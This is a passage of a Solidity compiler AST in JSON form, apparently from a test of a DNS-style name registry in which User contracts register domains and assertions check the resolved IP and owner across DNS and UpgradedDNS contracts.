(bytes32,bytes32)","value":"assertEq"},"id":836,"name":"Identifier","src":"3584:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":837,"name":"Identifier","src":"3593:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":786,"type":"bytes4","value":"i2"},"id":838,"name":"Identifier","src":"3597:2:2"}],"id":839,"name":"FunctionCall","src":"3584:16:2"}],"id":840,"name":"ExpressionStatement","src":"3584:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":841,"name":"Identifier","src":"3604:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":842,"name":"Identifier","src":"3613:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":843,"name":"ElementaryTypeName","src":"3620:7:2"}],"id":844,"name":"ElementaryTypeNameExpression","src":"3620:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":845,"name":"Identifier","src":"3628:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":846,"name":"Literal","src":"3634:1:2"}],"id":847,"name":"IndexAccess","src":"3628:8:2"}],"id":848,"name":"FunctionCall","src":"3620:17:2"}],"id":849,"name":"FunctionCall","src":"3604:34:2"}],"id":850,"name":"ExpressionStatement","src":"3604:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":851,"name":"Identifier","src":"3695:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":852,"name":"Identifier","src":"3699:5:2"}],"id":853,"name":"TupleExpression","src":"3694:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":418,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":854,"name":"Identifier","src":"3708:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":855,"name":"Literal","src":"3714:1:2"}],"id":856,"name":"IndexAccess","src":"3708:8:2"}],"id":857,"name":"MemberAccess","src":"3708:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":858,"name":"Identifier","src":"3725:2:2"}],"id":859,"name":"FunctionCall","src":"3708:20:2"}],"id":860,"name":"Assignment","src":"3694:34:2"}],"id":861,"name":"ExpressionStatement","src":"3694:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":862,"name":"Identifier","src":"3732:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":863,"name":"Identifier","src":"3741:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":786,"type":"bytes4","value":"i2"},"id":864,"name":"Identifier","src":"3745:2:2"}],"id":865,"name":"FunctionCall","src":"3732:16:2"}],"id":866,"name":"ExpressionStatement","src":"3732:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":867,"name":"Identifier","src":"3752:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":868,"name":"Identifier","src":"3761:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":869,"name":"ElementaryTypeName","src":"3768:7:2"}],"id":870,"name":"ElementaryTypeNameExpression","src":"3768:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":871,"name":"Identifier","src":"3776:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":872,"name":"Literal","src":"3782:1:2"}],"id":873,"name":"IndexAccess","src":"3776:8:2"}],"id":874,"name":"FunctionCall","src":"3768:17:2"}],"id":875,"name":"FunctionCall","src":"3752:34:2"}],"id":876,"name":"ExpressionStatement","src":"3752:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":877,"name":"Identifier","src":"3843:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":878,"name":"Literal","src":"3849:1:2"}],"id":879,"name":"IndexAccess","src":"3843:8:2"}],"id":880,"name":"MemberAccess","src":"3843:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":881,"name":"Identifier","src":"3861:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":882,"name":"Identifier","src":"3865:2:2"}],"id":883,"name":"FunctionCall","src":"3843:25:2"}],"id":884,"name":"ExpressionStatement","src":"3843:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":885,"name":"Identifier","src":"3920:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":886,"name":"Identifier","src":"3924:5:2"}],"id":887,"name":"TupleExpression","src":"3919:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":888,"name":"Identifier","src":"3933:3:2"}],"id":889,"name":"MemberAccess","src":"3933:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":890,"name":"Identifier","src":"3945:2:2"}],"id":891,"name":"FunctionCall","src":"3933:15:2"}],"id":892,"name":"Assignment","src":"3919:29:2"}],"id":893,"name":"ExpressionStatement","src":"3919:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":894,"name":"Identifier","src":"3952:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":895,"name":"Identifier","src":"3961:2:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":896,"name":"Literal","src":"3965:1:2"}],"id":897,"name":"FunctionCall","src":"3952:15:2"}],"id":898,"name":"ExpressionStatement","src":"3952:15:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":899,"name":"Identifier","src":"3971:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":900,"name":"Identifier","src":"3980:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":901,"name":"ElementaryTypeName","src":"3987:7:2"}],"id":902,"name":"ElementaryTypeNameExpression","src":"3987:7:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":903,"name":"Literal","src":"3995:1:2"}],"id":904,"name":"FunctionCall","src":"3987:10:2"}],"id":905,"name":"FunctionCall","src":"3971:27:2"}],"id":906,"name":"ExpressionStatement","src":"3971:27:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":907,"name":"Identifier","src":"4040:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":908,"name":"Identifier","src":"4044:5:2"}],"id":909,"name":"TupleExpression","src":"4039:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":2302,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":910,"name":"Identifier","src":"4053:6:2"}],"id":911,"name":"MemberAccess","src":"4053:14:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":912,"name":"Identifier","src":"4068:2:2"}],"id":913,"name":"FunctionCall","src":"4053:18:2"}],"id":914,"name":"Assignment","src":"4039:32:2"}],"id":915,"name":"ExpressionStatement","src":"4039:32:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":916,"name":"Identifier","src":"4075:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":917,"name":"Identifier","src":"4084:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":918,"name":"Identifier","src":"4088:2:2"}],"id":919,"name":"FunctionCall","src":"4075:16:2"}],"id":920,"name":"ExpressionStatement","src":"4075:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":921,"name":"Identifier","src":"4095:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":922,"name":"Identifier","src":"4104:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":923,"name":"ElementaryTypeName","src":"4111:7:2"}],"id":924,"name":"ElementaryTypeNameExpression","src":"4111:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":925,"name":"Identifier","src":"4119:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":926,"name":"Literal","src":"4125:1:2"}],"id":927,"name":"IndexAccess","src":"4119:8:2"}],"id":928,"name":"FunctionCall","src":"4111:17:2"}],"id":929,"name":"FunctionCall","src":"4095:34:2"}],"id":930,"name":"ExpressionStatement","src":"4095:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":931,"name":"Identifier","src":"4186:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":932,"name":"Identifier","src":"4190:5:2"}],"id":933,"name":"TupleExpression","src":"4185:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":418,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":934,"name":"Identifier","src":"4199:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":935,"name":"Literal","src":"4205:1:2"}],"id":936,"name":"IndexAccess","src":"4199:8:2"}],"id":937,"name":"MemberAccess","src":"4199:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":938,"name":"Identifier","src":"4216:2:2"}],"id":939,"name":"FunctionCall","src":"4199:20:2"}],"id":940,"name":"Assignment","src":"4185:34:2"}],"id":941,"name":"ExpressionStatement","src":"4185:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":942,"name":"Identifier","src":"4223:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":943,"name":"Identifier","src":"4232:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":944,"name":"Identifier","src":"4236:2:2"}],"id":945,"name":"FunctionCall","src":"4223:16:2"}],"id":946,"name":"ExpressionStatement","src":"4223:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":947,"name":"Identifier","src":"4243:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":948,"name":"Identifier","src":"4252:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":949,"name":"ElementaryTypeName","src":"4259:7:2"}],"id":950,"name":"ElementaryTypeNameExpression","src":"4259:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":951,"name":"Identifier","src":"4267:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":952,"name":"Literal","src":"4273:1:2"}],"id":953,"name":"IndexAccess","src":"4267:8:2"}],"id":954,"name":"FunctionCall","src":"4259:17:2"}],"id":955,"name":"FunctionCall","src":"4243:34:2"}],"id":956,"name":"ExpressionStatement","src":"4243:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":957,"name":"Identifier","src":"4334:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":958,"name":"Literal","src":"4340:1:2"}],"id":959,"name":"IndexAccess","src":"4334:8:2"}],"id":960,"name":"MemberAccess","src":"4334:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":961,"name":"Identifier","src":"4352:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":962,"name":"Identifier","src":"4356:2:2"}],"id":963,"name":"FunctionCall","src":"4334:25:2"}],"id":964,"name":"ExpressionStatement","src":"4334:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":965,"name":"Identifier","src":"4401:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":966,"name":"Identifier","src":"4405:5:2"}],"id":967,"name":"TupleExpression","src":"4400:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":968,"name":"Identifier","src":"4414:3:2"}],"id":969,"name":"MemberAccess","src":"4414:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":970,"name":"Identifier","src":"4426:2:2"}],"id":971,"name":"FunctionCall","src":"4414:15:2"}],"id":972,"name":"Assignment","src":"4400:29:2"}],"id":973,"name":"ExpressionStatement","src":"4400:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":974,"name":"Identifier","src":"4433:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":975,"name":"Identifier","src":"4442:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":794,"type":"bytes4","value":"i3"},"id":976,"name":"Identifier","src":"4446:2:2"}],"id":977,"name":"FunctionCall","src":"4433:16:2"}],"id":978,"name":"ExpressionStatement","src":"4433:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":979,"name":"Identifier","src":"4453:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":980,"name":"Identifier","src":"4462:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":981,"name":"ElementaryTypeName","src":"4469:7:2"}],"id":982,"name":"ElementaryTypeNameExpression","src":"4469:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":983,"name":"Identifier","src":"4477:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":984,"name":"Literal","src":"4483:1:2"}],"id":985,"name":"IndexAccess","src":"4477:8:2"}],"id":986,"name":"FunctionCall","src":"4469:17:2"}],"id":987,"name":"FunctionCall","src":"4453:34:2"}],"id":988,"name":"ExpressionStatement","src":"4453:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":989,"name":"Identifier","src":"4514:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":990,"name":"Identifier","src":"4518:5:2"}],"id":991,"name":"TupleExpression","src":"4513:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":418,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":992,"name":"Identifier","src":"4527:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":993,"name":"Literal","src":"4533:1:2"}],"id":994,"name":"IndexAccess","src":"4527:8:2"}],"id":995,"name":"MemberAccess","src":"4527:16:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":790,"type":"string memory","value":"d3"},"id":996,"name":"Identifier","src":"4544:2:2"}],"id":997,"name":"FunctionCall","src":"4527:20:2"}],"id":998,"name":"Assignment","src":"4513:34:2"}],"id":999,"name":"ExpressionStatement","src":"4513:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function 